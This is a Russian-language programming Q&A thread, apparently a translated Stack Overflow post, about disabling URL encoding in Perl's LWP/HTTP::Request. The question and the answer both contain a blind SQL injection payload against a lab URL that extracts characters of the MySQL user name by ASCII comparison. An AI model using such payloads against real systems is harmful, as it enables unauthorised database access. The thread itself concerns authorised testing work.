Отключить кодировку URL внутри HTTP-запроса - PullRequest
2 голосов
/ 16 мая 2011

Я пишу небольшой инструмент Perl, который должен помочь мне ускорить некоторые процессы во время слепой атаки SQL-инъекцией (это этический инструмент. Это моя работа).

Мой скрипт управляет HTTP-запросами уже , закодированными с помощью шестнадцатеричных значений (% xx). Поэтому мой запрос кодируется дважды, когда я использую HTTP::Request для отправки его в веб-браузер.

Я использую такой код:

my $ua = LWP::UserAgent->new;
my $httpreq = new HTTP::Request GET => 'http://192.168.0.1/lab/sqli.php?id=1%20and%20(select%20ascii(substring(user,3,1))%20from%20mysql.user%20limit%201)>100%23';
my $res = $ua->request($httpreq)

Как отключить кодировку perl URL внутри моего запроса?

1 Ответ

5 голосов
/ 16 мая 2011

HTTP :: Запрос не изменяет предоставленный URL.

Любая кодировка URL должна выполняться до того, как URL будет собран & mdash; это на самом деле компоненты URL, которые кодируются & mdash; поэтому HTTP :: Request ожидает, что кодирование уже выполнено.

>perl -MHTTP::Request -e"print HTTP::Request->new(GET => 'http://192.168.0.1/lab/sqli.php?id=1%20and%20(select%20ascii(substring(user,3,1))%20from%20mysql.user%20limit%201)>100%23')->as_string;"
GET http://192.168.0.1/lab/sqli.php?id=1%20and%20(select%20ascii(substring(user,3,1))%20from%20mysql.user%20limit%201)%3E100%23
...